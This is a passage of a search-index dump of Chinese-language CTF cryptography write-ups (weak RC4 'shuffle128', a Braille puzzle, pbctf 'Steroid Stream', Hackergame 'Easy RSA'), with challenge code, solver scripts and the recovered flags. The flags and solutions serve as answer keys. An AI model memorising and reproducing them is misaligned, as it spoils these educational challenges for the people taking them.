ca0532f7df0239d0fe60e9a62852384f6cce737884808134fb1960e84803fb6ddc144df3c9 # 78f35e7e26df365e213787a3885ca11c76d14fb998d4a440826b2d8adaa5fe85065c9e9c0d # f3110f509bd39e5ead882e85ccb31906809a0c29e33a79f0b3229e671dba1353c89968c4a4 # 2ac15e7a5dcc821c58ac08d526e5a350ef994bb485fc1c916f59e366e6f7e7ddc76b4a0cae # 381a2afbc6aa95643248d8dd39c44fd7090746af9fa3f3c4f70ba56298d6ca1b36b7d19ec8 # b098dfffe1cd19019ba9c472f6f966964352a958eda8707553021870ba51c9a0b573a59f99 # 02578a8b58c1e9c9d5f4321e0b8eb66922905ec2dfd3bf1a6ef583fcce8846243cf6c609d9 # 93efb1acf6b268c5a79746a28c64adbbbc81924991e13aa971d64f4087c87650ebb6309daa # 9fcbff37a9919d676e6ce86d9bae8f75376b1a7a76de304c622fe163ea7549a8dcccb095f7 # ad25c09cdcc768b53a519daf6f1a0861b4c9530cc9d0cf82fbf7c9f5a9acc2346d611a21d0 # 08aee3c019e664d88f3f1147c4f52d33f2f4ab9fea176625f24a14d517a1d59d338e5bf0aa # 479de7e5e8e7841382bb7c9c844f7f8d900979bd360c6d84dc69bd17e7f4ced202afce5964 # 65c43c740e68be4ac64c559f09b461904be78fe5f5eaa6f78afb23a1d9c12ecf1d14a287a3 # 90063ef6a3b48091f514f1b87dc3ef40942989648043df1dda7d1221c0efea863f69f2fba6 # e4c2976ec29fec9cc3d04ec5f4dde4e282886be0c5ee471ccb8cd201558adb759375c27d78 # 1ec9458af0857b6f437ee5d72de707eb6d38df96a830bb53775667f9722a46869e0954b5ad # 5de6f6df232cc29f3fcaac177f323ecfd99732e7559f9d6ffdd706e387bcc23127891be4e1 # 7df2884288490b19fd7d20c746508c3ee8e77706c549ba5a07bf9cc183ede90e5cdd6cc59b # 6ebc5d2caff2d0fc8afb538ea990f4289f716375834a67966dc6eba35b7559726826c23bd4 # e6bdfbfe7f094d6ecfdf76433cfc3c64c5041ad8aeaf84ba5c8473b24d836f332e8e41eabe # 6b845fefb8e5fe2253600c137047ee029a1bab28e9b45eda71597169148593938049092ee2 # 1172b4a57311da2ff968e1071c4eff0bd22a333cfdc8a6fdef41a4b98f69620152bbeb60b5 # 5a788ee6a476eaaa3f581eaebc2589efa640ac37fc5faa4f3591b7db58234dd8fb9743192d # 07d49bf8af3cf3ac77db932a41b81d61736b7e8f5bb656b2a9637f57b7871c1297bf5e3b14 # 94d1d09e9c3d024538c4e5fedafbf5aed564d9998dec700647f704115f281efe74aefc0231 # b11b4ff19b77cd69f1881e5401c6e56a9bbf2e88bb443b3340de8d01c4768c6efa34233b35 # dfc7edc0fa6232d7df18717c9dec7631295a035afdeeea7e2dfaec3518e58c8189f65dd52f # 5490e892fca7f4be4312ad69b1eed46e11cb94bf8bafd2ef725e77fd9620ba980fa1d46563 # b9066eb49cb42ecfdcd9f7713e0feddb920043908df127cf35386df3b4bce6fab3c6a3e89f # 8c51507ea79ffb2914436f8c9fa39501d89b8f9446cbe2fcfb0bada4886ff76b20ce1e29f3 # 6df94fc313b82da575073aeb54c35e5d3ff0c9dc7032cbffcc92b47b2fead75610d6157bca # b92cf23e538fc6b3d1c0e28dd81f3c2a58d890bf323da321a39c9fb601caee4bcc1ccc9abd # 0cc0985f966eb484c5f26b9bb8821dabf3b88d3471b55c6351a43fde32428519241a0ddd76 # 78cf7e7bf1ffa53812d1c9b47fc23852b2fcd318f7ea21dba12ad3a1d4f38e2ba1a5116aa9 # e35e377f7972b49fbb82a42f90443ca77adb678fa278bf93046c8ec2bc05cb2155d5b506d6 # 3bc4ffa6eb16c6da6c40d78b132131092bc8f0696a81e14deca5018daea56c6678befbc1f8 # 138d167661180fc7b7c52fa821c518a29d41c5a73aee9969f74b096cff8fca7ead4f5affe9 # 3784f8b584545b1ef09aa3815182776966eb9d4758f25ae89550aee3916dce6f40d29c79ee # 09913e8ed1778c95cbac302c86cc4ba5ad8b5fe113c78352d00979e84dcd10c3ecd036fba0 # d1ed85304ea4a3e03233544efb85017c9cd1d3259d959acc0f0dbdaece9ed668d937d52309 # e6b89393cfd0e888c8dce582495d216760eb1a8032103351d15c8033a46aae338a11ac99ee # 92683cb1cb9f24a7925395f54be8b0e520ffd5afbc80c11256e33324bf2509a1c9b64f46dc # 0b7e5204fba4ceec74ee7b35417ecb88fa8a74c6575bb6de8f15f1257b6e02a42e4b56dff0 # 49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d \u89e3\u9898\u601d\u8def \u00b6 RC4 \u5728\u5b9e\u73b0\u4e0a\u6ca1\u6709\u4ec0\u4e48\u95ee\u9898\uff0c\u91cd\u70b9\u5728 S \u6570\u7ec4\u7684\u8303\u56f4\u5728 \\([0, 127]\\) \uff0c\u6240\u4ee5\u6bcf\u6b21\u5f02\u6216\u90fd\u4f1a\u6cc4\u6f0f Flag \u5b57\u8282\u7684\u6700\u9ad8\u6709\u6548\u4f4d\u3002 import random cts = [ '7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc' , ... '49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d' ] flag_bits = [ 0 ] * 37 * 8 random . seed ( 2023 ) for ct in cts : a = list ( range ( 37 * 8 )) random . shuffle ( a ) for i , c in zip ( a [:: 8 ], bytes . fromhex ( ct )): flag_bits [ i ] = c >> 7 print ( int ( '' . join ( map ( str , flag_bits )), 2 ) . to_bytes ( 37 , 'big' )) Flag \u00b6 TetCTF{ _1nsuff1c13nt 3ntr0py ___}","title":"shuffle128"},{"location":"crypto/shuffle128/#_1","text":"A weak version of RC4. shuffle128.py import sys from typing import List , Iterator from bitarray import bitarray # https://pypi.org/project/bitarray/ import random State = List [ int ] def swap ( arr : State , i : int , j : int ): arr [ i ] ^= arr [ j ] arr [ j ] ^= arr [ i ] arr [ i ] ^= arr [ j ] def rc4_key_scheduling ( key : bytes ) -> State : S = list ( range ( 128 )) j = 0 for i in range ( 128 ): j = ( j + S [ i ] + key [ i % len ( key )]) % 128 swap ( S , i , j ) return S def rc4_pseudo_random_generator ( S : State ) -> Iterator [ int ]: i = j = 0 while True : i = ( i + 1 ) % 128 j = ( j + S [ i ]) % 128 swap ( S , i , j ) yield S [( S [ i ] + S [ j ]) % 128 ] def shuffle ( s : bytes ) -> bytes : bits = bitarray () bits . frombytes ( s ) random . shuffle ( bits ) return bits . tobytes () def xor ( s1 : bytes , s2 : bytes ) -> bytes : assert len ( s1 ) == len ( s2 ) return bytes ( c1 ^ c2 for c1 , c2 in zip ( s1 , s2 )) if __name__ == '__main__' : from secret import FLAG random . seed ( 2023 ) print ( sys . version ) prg = rc4_pseudo_random_generator ( rc4_key_scheduling ( FLAG )) for _ in range ( 64 ): shuffled = shuffle ( FLAG ) key = bytes ( next ( prg ) for _ in range ( len ( FLAG ))) print ( xor ( shuffled , key ) . hex ()) # Output # 3.10.7 (main, Nov 24 2022, 19:45:47) [GCC 12.2.0] # 7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc # 3353e19ed6a3ecad7716831b8cc149ad3a1990c8f4682c434d1b7f417e7df9e9ca0743fc3a # 2e15e68721c7773a920d9622cbad21b2d48e00358b1107b300ba19c3a48291dc1579eaf4f4 # e0f6b4e61390ce8d1eab002af797eb022c58a6576ef55c78b917268b9fe4d3f45dfc7d5dc3 # de11f01e825a69e5b1e004db1f79974ca9e42a2b0c0197dcb322f5a0e43cf7ddfdb529699d # 976dbf67bf2f67fd947c69696c5ef5bb9186b8031d279165a5fcd1f6ac9d7f668b847ecfc0 # 01f123b89f75d3ab5f744caa4dd892eac598a0b1413cc0abf93509b2bc254a5714fd979f7a # 488b3d4d110f2dca864f6589a58033cc23ca3618db8ce59f398b7b9a6dfd93220e1cd02538 # 6b92f7e54e6406b2d7d1176f5604e22cf4c6710ff35fa4cf7d33a7d1855a7f868da8713faa # f9302dccf5c000ef69c2440fbe22b7eaeb5a95483dda09a0b0414e297ad81fb64fabc60025 # c9b5dcf6031051d3433ddc358f7e18b3f7cec58b37bace17f2fd1e39b1cac64fbfcdbff2aa # bddac6c00310a5c80cb73d640a1b0592ed5d99984971a085941e7ea8e2fd0e86aaa1b7098f # 2ac7cdeb9e7eeb5abad2b4ed1238de39cb17aa4f4d8827ebd36d4a99acb9fb4e44cd365186 # b38ed3a76f5751faaca88fbae7ef53a6a4baa4f29b4bca0ef782b373969d3df62d9c276d69 # 20f40b4267ae37f994dac8fccbb652d29abce709dc9f52223ddebe441899edfb8dc3a31a5d # c9116855c08f1d04cbe6d86d0e9523c564fd3dd8bb79f7898ea7e624aba832e6530ad1231c # b388f35a0f2009326bf66170156e57a36eea83285698fcdf2ba1fbbad199dc9d7860158d5e # 1f8c81249a0428cd781494ada971c49e1cd7121af374ecc70d902ad0f4f736e4ef23f61fc9 # b70d877d5ff8c38096faecb1de2df31ce467372c09c66c54b8e122123b539966937bb94d52 # 72951dcfda3601c762b4ea5119e40e93bbe7a595a35db985cb990f3bbcc74ddc7157f0baff # ca0532f7df0239d0fe60e9a62852384f6cce737884808134fb1960e84803fb6ddc144df3c9 # 78f35e7e26df365e213787a3885ca11c76d14fb998d4a440826b2d8adaa5fe85065c9e9c0d # f3110f509bd39e5ead882e85ccb31906809a0c29e33a79f0b3229e671dba1353c89968c4a4 # 2ac15e7a5dcc821c58ac08d526e5a350ef994bb485fc1c916f59e366e6f7e7ddc76b4a0cae # 381a2afbc6aa95643248d8dd39c44fd7090746af9fa3f3c4f70ba56298d6ca1b36b7d19ec8 # b098dfffe1cd19019ba9c472f6f966964352a958eda8707553021870ba51c9a0b573a59f99 # 02578a8b58c1e9c9d5f4321e0b8eb66922905ec2dfd3bf1a6ef583fcce8846243cf6c609d9 # 93efb1acf6b268c5a79746a28c64adbbbc81924991e13aa971d64f4087c87650ebb6309daa # 9fcbff37a9919d676e6ce86d9bae8f75376b1a7a76de304c622fe163ea7549a8dcccb095f7 # ad25c09cdcc768b53a519daf6f1a0861b4c9530cc9d0cf82fbf7c9f5a9acc2346d611a21d0 # 08aee3c019e664d88f3f1147c4f52d33f2f4ab9fea176625f24a14d517a1d59d338e5bf0aa # 479de7e5e8e7841382bb7c9c844f7f8d900979bd360c6d84dc69bd17e7f4ced202afce5964 # 65c43c740e68be4ac64c559f09b461904be78fe5f5eaa6f78afb23a1d9c12ecf1d14a287a3 # 90063ef6a3b48091f514f1b87dc3ef40942989648043df1dda7d1221c0efea863f69f2fba6 # e4c2976ec29fec9cc3d04ec5f4dde4e282886be0c5ee471ccb8cd201558adb759375c27d78 # 1ec9458af0857b6f437ee5d72de707eb6d38df96a830bb53775667f9722a46869e0954b5ad # 5de6f6df232cc29f3fcaac177f323ecfd99732e7559f9d6ffdd706e387bcc23127891be4e1 # 7df2884288490b19fd7d20c746508c3ee8e77706c549ba5a07bf9cc183ede90e5cdd6cc59b # 6ebc5d2caff2d0fc8afb538ea990f4289f716375834a67966dc6eba35b7559726826c23bd4 # e6bdfbfe7f094d6ecfdf76433cfc3c64c5041ad8aeaf84ba5c8473b24d836f332e8e41eabe # 6b845fefb8e5fe2253600c137047ee029a1bab28e9b45eda71597169148593938049092ee2 # 1172b4a57311da2ff968e1071c4eff0bd22a333cfdc8a6fdef41a4b98f69620152bbeb60b5 # 5a788ee6a476eaaa3f581eaebc2589efa640ac37fc5faa4f3591b7db58234dd8fb9743192d # 07d49bf8af3cf3ac77db932a41b81d61736b7e8f5bb656b2a9637f57b7871c1297bf5e3b14 # 94d1d09e9c3d024538c4e5fedafbf5aed564d9998dec700647f704115f281efe74aefc0231 # b11b4ff19b77cd69f1881e5401c6e56a9bbf2e88bb443b3340de8d01c4768c6efa34233b35 # dfc7edc0fa6232d7df18717c9dec7631295a035afdeeea7e2dfaec3518e58c8189f65dd52f # 5490e892fca7f4be4312ad69b1eed46e11cb94bf8bafd2ef725e77fd9620ba980fa1d46563 # b9066eb49cb42ecfdcd9f7713e0feddb920043908df127cf35386df3b4bce6fab3c6a3e89f # 8c51507ea79ffb2914436f8c9fa39501d89b8f9446cbe2fcfb0bada4886ff76b20ce1e29f3 # 6df94fc313b82da575073aeb54c35e5d3ff0c9dc7032cbffcc92b47b2fead75610d6157bca # b92cf23e538fc6b3d1c0e28dd81f3c2a58d890bf323da321a39c9fb601caee4bcc1ccc9abd # 0cc0985f966eb484c5f26b9bb8821dabf3b88d3471b55c6351a43fde32428519241a0ddd76 # 78cf7e7bf1ffa53812d1c9b47fc23852b2fcd318f7ea21dba12ad3a1d4f38e2ba1a5116aa9 # e35e377f7972b49fbb82a42f90443ca77adb678fa278bf93046c8ec2bc05cb2155d5b506d6 # 3bc4ffa6eb16c6da6c40d78b132131092bc8f0696a81e14deca5018daea56c6678befbc1f8 # 138d167661180fc7b7c52fa821c518a29d41c5a73aee9969f74b096cff8fca7ead4f5affe9 # 3784f8b584545b1ef09aa3815182776966eb9d4758f25ae89550aee3916dce6f40d29c79ee # 09913e8ed1778c95cbac302c86cc4ba5ad8b5fe113c78352d00979e84dcd10c3ecd036fba0 # d1ed85304ea4a3e03233544efb85017c9cd1d3259d959acc0f0dbdaece9ed668d937d52309 # e6b89393cfd0e888c8dce582495d216760eb1a8032103351d15c8033a46aae338a11ac99ee # 92683cb1cb9f24a7925395f54be8b0e520ffd5afbc80c11256e33324bf2509a1c9b64f46dc # 0b7e5204fba4ceec74ee7b35417ecb88fa8a74c6575bb6de8f15f1257b6e02a42e4b56dff0 # 49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d","title":"\u9898\u76ee"},{"location":"crypto/shuffle128/#_2","text":"RC4 \u5728\u5b9e\u73b0\u4e0a\u6ca1\u6709\u4ec0\u4e48\u95ee\u9898\uff0c\u91cd\u70b9\u5728 S \u6570\u7ec4\u7684\u8303\u56f4\u5728 \\([0, 127]\\) \uff0c\u6240\u4ee5\u6bcf\u6b21\u5f02\u6216\u90fd\u4f1a\u6cc4\u6f0f Flag \u5b57\u8282\u7684\u6700\u9ad8\u6709\u6548\u4f4d\u3002 import random cts = [ '7dfdf6eba4da43bf7ca6eb64d3fbaac5e764b2c8e66e1f2a30e3b9e95b2ef48b28f105cdfc' , ... '49d609e06cb04aa787ebe99d741d4b60b909a00c0de6faecbf4c6d21559495a7c67060625d' ] flag_bits = [ 0 ] * 37 * 8 random . seed ( 2023 ) for ct in cts : a = list ( range ( 37 * 8 )) random . shuffle ( a ) for i , c in zip ( a [:: 8 ], bytes . fromhex ( ct )): flag_bits [ i ] = c >> 7 print ( int ( '' . join ( map ( str , flag_bits )), 2 ) . to_bytes ( 37 , 'big' ))","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/shuffle128/#flag","text":"TetCTF{ _1nsuff1c13nt 3ntr0py ___}","title":"Flag"},{"location":"crypto/stars_and_shapes/","text":"\u9898\u76ee \u00b6 This might be a difficult question, but I'm sure you can do it with your eyes closed. \u89e3\u9898\u601d\u8def \u00b6 \u7531 you can do it with your eyes closed \u5e76\u7ed3\u5408\u4e09\u884c\u4e24\u5217\u7684\u7ed3\u6784\uff0c\u53ef\u4ee5\u8054\u60f3\u5230\u76f2\u6587 \u5c06 GIF \u62c6\u5206\u6210 JPG\uff0c\u53ef\u4ee5\u770b\u5230\u82b1\u62ec\u53f7 \u4f7f\u7528 Braille Alphabet \u67e5\u8be2\u76f2\u6587\u5bf9\u5e94\u5b57\u7b26\uff0c\u7ed3\u5408\u82b1\u62ec\u53f7\u4f4d\u7f6e\u83b7\u5f97 Flag\uff1a dsc{d0-you-th1nk-h3-s4w-us7132}","title":"Stars and Shapes"},{"location":"crypto/stars_and_shapes/#_1","text":"This might be a difficult question, but I'm sure you can do it with your eyes closed.","title":"\u9898\u76ee"},{"location":"crypto/stars_and_shapes/#_2","text":"\u7531 you can do it with your eyes closed \u5e76\u7ed3\u5408\u4e09\u884c\u4e24\u5217\u7684\u7ed3\u6784\uff0c\u53ef\u4ee5\u8054\u60f3\u5230\u76f2\u6587 \u5c06 GIF \u62c6\u5206\u6210 JPG\uff0c\u53ef\u4ee5\u770b\u5230\u82b1\u62ec\u53f7 \u4f7f\u7528 Braille Alphabet \u67e5\u8be2\u76f2\u6587\u5bf9\u5e94\u5b57\u7b26\uff0c\u7ed3\u5408\u82b1\u62ec\u53f7\u4f4d\u7f6e\u83b7\u5f97 Flag\uff1a dsc{d0-you-th1nk-h3-s4w-us7132}","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/steroid_stream/","text":"\u9898\u76ee \u00b6 I found a weird stream cipher scheme. Can you break this? CTFtime.org / pbctf 2021 / Steroid Stream \u89e3\u9898\u601d\u8def \u00b6 Alkaloid Stream \u8fdb\u9636\u7248\uff0c\u9664\u4e86 fake \u6570\u7ec4\u7684\u4ea7\u751f\u65b9\u5f0f\u6709\u6240\u5dee\u5f02\uff0c\u5176\u4ed6\u90e8\u5206\u90fd\u662f\u4e00\u6837\u7684 fake = [ 0 ] * ln for i in range ( ln - ln // 3 ): arr = list ( range ( i + 1 , ln )) random . shuffle ( arr ) for j in arr [: ln // 3 ]: # \u5728 [i + 1, ln) \u4e2d\u968f\u673a\u9009\u53d6 ln // 3 \u4e2a key \u5f02\u6216 fake [ i ] ^= key [ j ] \u5bf9\u4e8e fake \u6570\u7ec4\u4e2d\u4e0b\u6807\u4e3a \\([ln - ln // 3, ln)\\) \u7684\u5143\u7d20\u503c\u5747\u4e3a \\(0\\) \u5f02\u6216\u7b49\u540c\u4e8e \\(GF(2)\\) \u4e2d\u7684\u52a0\u6cd5\uff0c\u53ef\u4ee5\u628a fake \u6570\u7ec4\u4e2d\u7684\u503c\u770b\u4f5c\u662f\u5df2\u77e5 keys \u7684\u7ebf\u6027\u7ec4\u5408\uff0c\u800c keys \u6570\u7ec4\u4e2d\u7684\u503c\u76f8\u4e92\u95f4\u7ebf\u6027\u65e0\u5173\uff0c\u4ece\u800c\u53ef\u4ee5\u533a\u5206 fake \u548c keys \u4f7f\u7528\u5df2\u77e5 keys \u6784\u5efa\u4e00\u4e2a\u4ee5 keys \u4e3a\u884c\u7684 \\(GF(2)\\) \u77e9\u9635\uff0c\u5047\u8bbe keys \u7684\u6570\u91cf\u4e3a \\(k\\) \uff0c\u90a3\u4e48\u6709 \\(k\\) \u884c\u76f8\u4e92\u72ec\u7acb\uff0c\u77e9\u9635\u7684\u79e9\uff08rank\uff09\u4e3a \\(k\\) \u3002\u6dfb\u52a0\u503c \\(v\\) \u5230 \\(k + 1\\) \u884c\uff0c\u5982\u679c \\(v\\) \u662f keys \u7684\u7ebf\u6027\u7ec4\u5408\uff0c\u90a3\u4e48\u77e9\u9635\u7684\u79e9\u4ecd\u4e3a \\(k\\) \uff0c\u5426\u5219\u662f \\(k + 1\\) def gf2_rank ( rows ): \"\"\" Find rank of a matrix over GF2. The rows of the matrix are given as nonnegative integers, thought of as bit-strings. This function modifies the input list. Use gf2_rank(rows.copy()) instead of gf2_rank(rows) to avoid modifying rows. \"\"\" rank = 0 while rows : pivot_row = rows . pop () if pivot_row : rank += 1 lsb = pivot_row & - pivot_row for index , row in enumerate ( rows ): if row & lsb : rows [ index ] = row ^ pivot_row return rank def is_linear_combination ( keys , test ): rows = keys . copy () rows . append ( test ) return len ( rows ) > gf2_rank ( rows ) keys , remain = [], [] for p in public : if 0 in p : keys . append ( p [ 0 ] + p [ 1 ]) else : remain . append ( p ) while remain : cur_remain = [] for p in remain : if is_linear_combination ( keys , p [ 0 ]): keys . append ( p [ 1 ]) elif is_linear_combination ( keys , p [ 1 ]): keys . append ( p [ 0 ]) else : cur_remain . append ( p ) remain = cur_remain keystream = recover_keystream ( keys , public ) print ( bits_to_bytes ( xor ( enc , keystream ))) # b'pbctf{I_hope_you_enjoyed_this_challenge_now_how_about_playing_Metroid_Dread?}' \u53c2\u8003\u8d44\u6599 \u00b6 \u53e6\u4e00\u79cd\u4e16\u754c\u89c2\u2014\u2014\u6709\u9650\u57df GF(2) - Wikipedia Linear combination - Wikipedia Rank (linear algebra) - Wikipedia Fast computation of matrix rank over GF(2) \u62d3\u5c55\u9605\u8bfb \u00b6 [Tutorial] Matroid intersection in simple words - Codeforces","title":"Steroid Stream"},{"location":"crypto/steroid_stream/#_1","text":"I found a weird stream cipher scheme. Can you break this? CTFtime.org / pbctf 2021 / Steroid Stream","title":"\u9898\u76ee"},{"location":"crypto/steroid_stream/#_2","text":"Alkaloid Stream \u8fdb\u9636\u7248\uff0c\u9664\u4e86 fake \u6570\u7ec4\u7684\u4ea7\u751f\u65b9\u5f0f\u6709\u6240\u5dee\u5f02\uff0c\u5176\u4ed6\u90e8\u5206\u90fd\u662f\u4e00\u6837\u7684 fake = [ 0 ] * ln for i in range ( ln - ln // 3 ): arr = list ( range ( i + 1 , ln )) random . shuffle ( arr ) for j in arr [: ln // 3 ]: # \u5728 [i + 1, ln) \u4e2d\u968f\u673a\u9009\u53d6 ln // 3 \u4e2a key \u5f02\u6216 fake [ i ] ^= key [ j ] \u5bf9\u4e8e fake \u6570\u7ec4\u4e2d\u4e0b\u6807\u4e3a \\([ln - ln // 3, ln)\\) \u7684\u5143\u7d20\u503c\u5747\u4e3a \\(0\\) \u5f02\u6216\u7b49\u540c\u4e8e \\(GF(2)\\) \u4e2d\u7684\u52a0\u6cd5\uff0c\u53ef\u4ee5\u628a fake \u6570\u7ec4\u4e2d\u7684\u503c\u770b\u4f5c\u662f\u5df2\u77e5 keys \u7684\u7ebf\u6027\u7ec4\u5408\uff0c\u800c keys \u6570\u7ec4\u4e2d\u7684\u503c\u76f8\u4e92\u95f4\u7ebf\u6027\u65e0\u5173\uff0c\u4ece\u800c\u53ef\u4ee5\u533a\u5206 fake \u548c keys \u4f7f\u7528\u5df2\u77e5 keys \u6784\u5efa\u4e00\u4e2a\u4ee5 keys \u4e3a\u884c\u7684 \\(GF(2)\\) \u77e9\u9635\uff0c\u5047\u8bbe keys \u7684\u6570\u91cf\u4e3a \\(k\\) \uff0c\u90a3\u4e48\u6709 \\(k\\) \u884c\u76f8\u4e92\u72ec\u7acb\uff0c\u77e9\u9635\u7684\u79e9\uff08rank\uff09\u4e3a \\(k\\) \u3002\u6dfb\u52a0\u503c \\(v\\) \u5230 \\(k + 1\\) \u884c\uff0c\u5982\u679c \\(v\\) \u662f keys \u7684\u7ebf\u6027\u7ec4\u5408\uff0c\u90a3\u4e48\u77e9\u9635\u7684\u79e9\u4ecd\u4e3a \\(k\\) \uff0c\u5426\u5219\u662f \\(k + 1\\) def gf2_rank ( rows ): \"\"\" Find rank of a matrix over GF2. The rows of the matrix are given as nonnegative integers, thought of as bit-strings. This function modifies the input list. Use gf2_rank(rows.copy()) instead of gf2_rank(rows) to avoid modifying rows. \"\"\" rank = 0 while rows : pivot_row = rows . pop () if pivot_row : rank += 1 lsb = pivot_row & - pivot_row for index , row in enumerate ( rows ): if row & lsb : rows [ index ] = row ^ pivot_row return rank def is_linear_combination ( keys , test ): rows = keys . copy () rows . append ( test ) return len ( rows ) > gf2_rank ( rows ) keys , remain = [], [] for p in public : if 0 in p : keys . append ( p [ 0 ] + p [ 1 ]) else : remain . append ( p ) while remain : cur_remain = [] for p in remain : if is_linear_combination ( keys , p [ 0 ]): keys . append ( p [ 1 ]) elif is_linear_combination ( keys , p [ 1 ]): keys . append ( p [ 0 ]) else : cur_remain . append ( p ) remain = cur_remain keystream = recover_keystream ( keys , public ) print ( bits_to_bytes ( xor ( enc , keystream ))) # b'pbctf{I_hope_you_enjoyed_this_challenge_now_how_about_playing_Metroid_Dread?}'","title":"\u89e3\u9898\u601d\u8def"},{"location":"crypto/steroid_stream/#_3","text":"\u53e6\u4e00\u79cd\u4e16\u754c\u89c2\u2014\u2014\u6709\u9650\u57df GF(2) - Wikipedia Linear combination - Wikipedia Rank (linear algebra) - Wikipedia Fast computation of matrix rank over GF(2)","title":"\u53c2\u8003\u8d44\u6599"},{"location":"crypto/steroid_stream/#_4","text":"[Tutorial] Matroid intersection in simple words - Codeforces","title":"\u62d3\u5c55\u9605\u8bfb"},{"location":"crypto/ustc_easy_rsa/","text":"\u9898\u76ee \u00b6 \u81ea\u4ece Hackergame 2018 \u516c\u7136\u63ed\u9732\u4e86\u5927\u6574\u6570\u53ef\u4ee5\u88ab\u795e\u7ae5\u53e3\u7b97\u5206\u89e3\u7684\u4e8b\u5b9e \uff0cRSA \u5728 hackergame \u4e2d\u5df2\u7ecf\u53ea\u80fd\u5904\u4e8e\u4f4e\u5206\u503c\u7684\u5730\u4f4d\u4e86\u3002\u5982\u679c\u4e0d\u5728\u5176\u540d\u79f0\u524d\u9762\u52a0\u4e0a Easy \u8fd9\u4e2a\u5355\u8bcd\uff0c\u4f3c\u4e4e\u5c31\u4f1a\u663e\u5f97\u5b8c\u5168\u5bf9\u4e0d\u8d77\u5176\u4ed6\u9898\u76ee\u3002 \u66f4\u4f55\u51b5\uff0c\u5728\u672c\u9898\u7684\u9644\u4ef6\u4e2d\uff0c\u4f60\u8fd8\u83b7\u5f97\u4e86\u6784\u9020 p \u548c q \u7684\u65b9\u5f0f\u3002\u6570\u7406\u57fa\u7840\u624e\u5b9e\u7684\u4f60\u5e94\u8be5\u53ef\u4ee5\u8f7b\u677e\u89e3\u51b3\u8fd9\u4e9b\u95ee\u9898\u5427\u3002 Easy_RSA.py import math import sympy from Crypto.Util.number import * e = 65537 def get_p (): x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451 y = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439 value_p = sympy . nextprime (( math . factorial ( y )) % x ) # Hint\uff1a\u8fd9\u91cc\u76f4\u63a5\u8ba1\u7b97\u4f1a\u6ea2\u51fa\uff0c\u8bf7\u4f60\u4ed4\u7ec6\u89c2\u5bdf x \u548c y \u7684\u7279\u5f81 return value_p def get_q (): value = [ getPrime ( 256 )] for i in range ( 1 , 10 ): value . append ( sympy . nextprime ( value [ i - 1 ])) print ( \"value[-1] = \" , value [ - 1 ]) # value[-1] = 80096058210213458444437404275177554701604739094679033012396452382975889905967 n = 1 for i in range ( 10 ): n = n * value [ i ] q = getPrime ( 512 ) value_q = pow ( q , e , n ) print ( \"value_q = \" , value_q ) # value_q = 5591130088089053683141520294620171646179623062803708281023766040254675625012293743465254007970358536660934858789388093688621793201658889399155357407224541324547522479617669812322262372851929223461622559971534394847970366311206823328200747893961649255426063204482192349202005330622561575868946656570678176047822163692259375233925446556338917358118222905050574458037965803154233167594946713038301249145097770337253930655681648299249481985768272321820718607757023350742647019762122572886601905212830744868048802864679734428398229280780215896045509020793530842541217790352661324630048261329493088812057300480085895399922301827190211956061083460036781018660201163819104150988531352228650991733072010425499238731811243310625701946882701082178190402011133439065106720309788819 return sympy . nextprime ( q ) # this destroyes the rsa cryptosystem p = get_p () q = get_q () m = int . from_bytes ( open ( \"flag.txt\" , \"rb\" ) . read (), \"big\" ) c = pow ( m , e , p * q ) print ( \"c = \" , c ) # c = 110644875422336073350488613774418819991169603750711465190260581119043921549811353108399064284589038384540018965816137286856268590507418636799746759551009749004176545414118128330198437101472882906564195341277423007542422286760940374859966152871273887950174522820162832774361714668826122465471705166574184367478 \u89e3\u9898\u601d\u8def \u00b6 \u52a0\u5bc6\u65b9\u5f0f\u548c RSA \u6ca1\u6709\u533a\u522b\uff0c\u53ea\u9700\u8981\u5f97\u5230\u52a0\u5bc6\u4f7f\u7528\u7684 p \u548c q \u5c31\u53ef\u4ee5\u4e86\uff01 p \u503c\u4e3a y \u7684\u9636\u4e58\u6a21 x \u7684\u4e0b\u4e00\u4e2a\u8d28\u6570\uff0c\u7531\u4e8e y \u503c\u8f83\u5927\uff0c\u76f4\u63a5\u6c42\u9636\u4e58\u6bd4\u8f83\u56f0\u96be\u3002\u4ed4\u7ec6\u89c2\u5bdf y \u4e0e x \u5dee\u503c\u8f83\u5c0f\uff0c\u4e14 x \u4e3a\u8d28\u6570\uff0c \\(y < x\uff0cy > x/2\\) \uff0c\u53ef\u4ee5\u4f7f\u7528\u5a01\u5c14\u900a\u5b9a\u7406\u5feb\u901f\u6c42\u89e3 \\((x-1)! \\equiv -1 \\,(mod \\, x)\\) \\((y-1)! \\equiv -1 \\,(mod \\, y)\\) \\(y! * (y+1) * ... * (x-2) * (x-1) \\equiv -1 \\,(mod \\, x)\\) \\(y! \\equiv -[(y+1) * ... * (x-2) * (x-1)]^{-1} \\, (mod \\, x)\\) \u91cd\u5199 get_p() \u51fd\u6570\uff0c\u6c42\u9006\u5143\u677f\u5b50\u6307\u8def -> easy_RSA def get_p (): x = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391760451 y = 11124440021748127159092076861405454814981575144744508857178576572929321435002942998531420985771090167262256877805902135304112271641074498386662361391661439 multi = 1 for i in range ( y + 1 , x ): multi = ( i * multi ) % x factor = ( x - modinv ( multi , x )) % x value_p = sympy . nextprime ( factor ) return value_p q \u503c\u6c42\u89e3\u7c7b\u4f3c\u4e8e RSA \u89e3\u5bc6\uff0c\u5148\u4f7f\u7528 prevprime \u5012\u63a8 value \u83b7\u5f97 \\(n\\) \u7684\u6240\u6709\u56e0\u6570\uff0c\u4ece\u800c\u83b7\u5f97 \\(\\varphi(n)\\) \uff0c\u8fdb\u800c\u6c42\u51fa \\(d\\) def get_real_q (): value = [ 80096058210213458444437404275177554701604739094679033012396452382975889905967 ] for i in range ( 1 , 10 ): value . append ( sympy . prevprime ( value [ i - 1 ])) value . reverse () n = fn = 1 for i in range ( 10 